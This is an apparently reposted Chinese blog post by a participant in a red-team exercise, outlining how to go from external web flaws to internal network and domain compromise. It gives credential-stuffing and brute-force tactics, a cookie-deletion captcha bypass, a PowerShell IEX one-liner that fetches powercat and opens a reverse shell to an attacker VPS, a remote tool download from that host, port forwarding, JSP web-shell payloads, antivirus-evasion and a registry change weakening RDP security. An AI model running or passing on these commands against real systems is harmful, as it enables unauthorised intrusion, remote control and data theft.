從外網到內網的滲透姿勢分享


現在這段時間是全員 hw 時期,剛好前幾天也有幸參與了某個地方的 hw 行動,作為攻擊方,這里就簡單總結一下最近挖洞的思路吧。因為可能怕涉及到敏感的東西,這里就有的地方不會細說了。

  • 因為本人比較菜,所以只能做一點比較基礎的總結,大佬們請忽略吧...

滲透的大體過程

整個滲透測試的流程就是通過信息收,集到外網的 web 漏洞挖掘,來獲取一個 webshell ,通過這個 shell 進一步利用來打進內網,進行內網滲透、域滲透,最終獲取域控權限的一個過程。

從外網挖掘漏洞的一些方法

常見的滲透思路這里就不介紹了,也比較常見,這里主要想紀錄一下自己在測試中用到的方法。

拿到相應的資產,解析完 ip 段或者網址之后,直接上大型掃描器!直接上大型掃描器!直接上大型掃描器!對你沒有聽錯。

image.png-67.5kB

需要檢測 web 漏洞的話,需要對相應的 IP 進行端口掃描,端口掃描的話用御劍高速端口掃描工具這個工具,效果非常棒!把掃描的速度越調低結果就會越精確。

掃描完成之后可以導出相應的掃描結果,得到相應的 IP 結果之后,再丟進 AWVS 直接使用腳本批量掃描,或者批量弱口令爆破就行了。總之套路就是需要注意批量!批量!批量!就行了

這是上次批量掃了兩天的結果,還是很可觀,還是混了不少洞的啊哈哈哈哈。不過是否屬於資產范圍內的就需要自己驗證了。

image.png-47.3kB

從外網撕開口子的常見操作

框架、中間件漏洞

最常見的就是 Struts2、weblogic 等已有的 RCE 漏洞。
檢測的方法就是使用現有的工具進行批量掃描,也可以自己寫一個腳本進行指紋探測之后再檢測漏洞。或者丟進 Nessus 或者 AWVS 中一般都可以自己檢測出來。

工具的話網上也比較多了,推薦使用 .net 寫的小工具,網絡發包速度快,也很穩定。

  • 檢測 S2 漏洞的話推薦使用Struts2漏洞檢查工具2018版這個工具,可以批量!賊爽!

撞庫漏洞

主要是針對於一些員工系統和登錄系統、信息查詢系統、OA 系統進行撞庫,在沒有驗證碼的登錄系統中屢試不爽。

測試方法

無驗證碼的情況

首先這些系統一般外部只有一個登錄框,先查看有無驗證碼,沒有驗證碼直接導入中國常見用戶名字典,密碼為弱口令字典(或者直接就設置成 123456)。

image.png-27.2kB

  • 或者密碼可以改成用戶名+數字的形式,例如用戶名是 zhangsan,可以嘗試每個用戶對應的密碼字典為 zhangsan12、zhangsan123 這種類型。

若是郵箱登錄,則需要先收集一下系統的郵箱后綴,常見的收集方法有 google hack、專門收集目標站郵箱的查詢網址。

拿到了后綴之后,使用用戶拼音+郵箱后綴的方式進行爆破。注意這里有兩種方式。

  1. 用戶名規則使用用戶全拼音。例如 zhangsan@abc.com。
  2. 用戶名規則使用姓的全拼+名的縮寫。例如 zhangs@abc.com,wangjk@abc.com。

總的來說,第二種方式比較常見,也可以兩種都試試。

有驗證碼的情況

這里就說下有驗證碼,但是驗證碼可以繞過的情況。

如下面的情況,直接把 cookie 刪除之后就不會驗證 randcode 的值了,可能這代碼寫的也比較奇葩吧

image.png-50.6kB

弱口令漏洞

公網數據庫爆破

web 登錄系統的弱口令爆破就不說了,有一種思路是直接對公網的 IP 地址的數據庫弱口令爆破,個人感覺還是比較爽的。

因為資產給的有時候是整幾個網段,所以爆破的話能夠成功的概率也是挺大的。

這里推薦使用超級弱口令檢查工具這個工具,在 github 上也可以找到。勾選上所有的數據庫的選項,把用戶名和密碼字典導入,勾選上掃描端口。

運氣好的話還是可以出結果的。

image.png-76.7kB

內網數據庫爆破

這里推薦使用 F-Scrack 和 DBScanner 工具,在 github 上面都有,進入內網之后弱口令比較多,掃描爆破的效果還是不錯的。

從 webshell 到內網

從 sql 注入到內網滲透

直接舉例。

拿到一個 mssql 注入,並且可以開啟 xp_cmdshell 設置執行任意命令的情況下(--os-shell)。如果注入是屬於回顯、報錯注入的話,直接執行命令就沒有太大的限制,如果是延時注入的話,要等很長時間才能回顯,這就比較惡心了。

舉個例子,像下面這種注入的話就是屬於無頁面回顯,只能靠時間盲注才能出數據,根據時間盲注是一個字符一個字符的出數據,速度就會慢很多,而且有時候還不穩定。

image.png-94kB

解決方法:
在 sqlmap 下獲取 xp_cmdshell 之后,直接執行:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.207.xx.xx -p 9999 -e cmd

在 vps 上監聽一個 9999 端口,等着彈回 shell (system32 下的 cmd)就行了。然后拿到 shell 之后繼續使用 powershell 下載遠程木馬或者端口到靶機上就行了。

image.png-299kB

powershell 下載遠程文件命令:

  • 下載 lcx 到本地進行 3389 端口轉發
powershell "$c=new-Object \"System.Net.WebClient\";$c.DownloadFile(\"http://123.207.xx.xx:81/static/lcx.exe\",\"C:/Users/Administrator/Desktop/lcx.exe\");";

第二個參數填入保存到的路徑即可和保存的文件名即可。

  • 若公網跳板機是 linux 的話,可以使用 linux 版本的 lcx,也就是 portmap

用法:

./portmap -m 2 -p1 7777 -h2 211.141.xx.xx -p2 9999
  • 這里的 h2 是遠程服務的 ip 地址。

從 S2-045 到內網滲透

檢測 S2 的方法就不說了,直接工具一把梭。這里推薦使用 "Struts2漏洞檢查工具2018版" 這個工具,可以批量導入 url ,效率還是可以的。但是能不能出洞主要還是看運氣看人品哈哈哈。

image.png-163kB

  • 簡單檢測 S2 漏洞的方法:看 Uri 的后綴是否為 .do 或者 .action,是的話直接丟進去工具驗證。

獲取 S2 之后的操作步驟

  1. 第一個方法就是上面說的,有 powershell 的話直接一把梭 getshell。或者可以配合 Empire 生成一個 powershell 的 payload 直接運行。但是這種方法有時候因為種種原因會不太穩定。
  2. 第二種方法可以用上面那個工具進行文件上傳傳小馬上去,接着用小馬客戶端傳大馬就行了,這是常規套路。

image.png-46.9kB

Q:拿到大馬之后要干啥?
A:當然要進一步滲透了,內網滲透、域滲透。


Q: 但是具體怎么做?
A: 先 ipconfig 看看是不是內網 IP,如果是的話就傳個 msf 馬上去進一步操作,或者用 lcx 或者 ew 把 3389 轉發到公網。


Q: 但是要怎么傳呢?直接使用大馬的上傳功能嗎?
A: 不行。因為 jsp 的上傳只支持可見字符字節碼的上傳,二進制數據沒辦法直接上傳。


Q: 那該如何操作?
A: 我這里是用 Base64 編碼的方式,先把 exe 文件整個編碼,之后構造一個 jsp 的上傳點,在上傳完成之后在網站目錄下解碼即可,解碼之后就釋放到網站目錄下了。

  • 參考:https://blog.51cto.com/0x007/1204440

  • 在實戰環境下遇到的幾乎都是 jsp 的站點,php 的站非常少,所以需要平時多積累多練習一下對 jsp 站點的滲透

從文件上傳 getshell 到內網

測試過程遇到一個比較奇葩的文件上傳漏洞,發生在后台用戶頭像上傳處,可以抓包直接修改上傳的文件后綴為 jsp 文件,就可以直接進行上傳,無任何驗證,且上傳完成后還會返回給你整個馬子的路徑。

image.png-387.3kB

可以直接上傳木馬的話,就可以直接上大馬或者用 msf 直接生成一個 jsp 馬(msfvenom)。

java/jsp_shell_bind_tcp         // 用於本地沒有外網 IP 或者遠程的靶機無法外連的情況
java/jsp_shell_reverse_tcp      // 用於本地有公網 IP 的情況 

將生成的 payload 直接通過文件上傳上去,接着拿到路徑直接訪問即可,在 msf 里可以升級到 meterpreter 之后就可以為所欲為了。

可能會遇到的一些問題

  1. 拿到 shell 之后,發現有 360 主動防御和 360 殺毒?

可以試試命令:logoff 1 或者 logoff 2 ,會有意想不到的效果~

  1. 拿到 shell,將 3389 端口轉發出來之后,嘗試連接發現出現問題,估計是限制了我這邊的 IP 訪問。

image.png-103.4kB

解決方法:添加注冊表 AllowEncryptionOracle 項即可。

參考:https://www.cnblogs.com/lindajia/p/9021082.html

一條命令直接解決(需要在 system32 目錄下的 cmd 中執行):

REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

.
2. 將 msf 代理進內網

直接使用命令:

proxychains msfconsole

或者在 set payload 之后,執行:

set proxies socks5:192.168.0.1:1080

.
3. 拿到一個 shell 之后分辨是否是內/外網 IP

如下圖的情況就說明他只有內網 IP,沒有公網 IP,也就是這個機子是用網線接在路由器/交換機上的。我們能訪問到他的 80 端口的服務是因為在交換機/路由器上做了端口映射。

image.png-88kB

在網絡映射中是這樣表示的:

image.png-79kB

所以這時候你一般就沒有辦法直接連接到他的 3389 端口,因為他在內網里所以就只能使用端口轉發了。

如果存在外網 IP 的話顯示的就是外網 IP。有時候也會遇到既有公網 IP 也有內網 IP 的情況下。

總結

這里只是總結一下在這期間學到的東西,主要還是要搞進內網得分才高,所以滲透的目標還是要盯着內網,總的來說自己還是太菜了,需要繼續努力。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM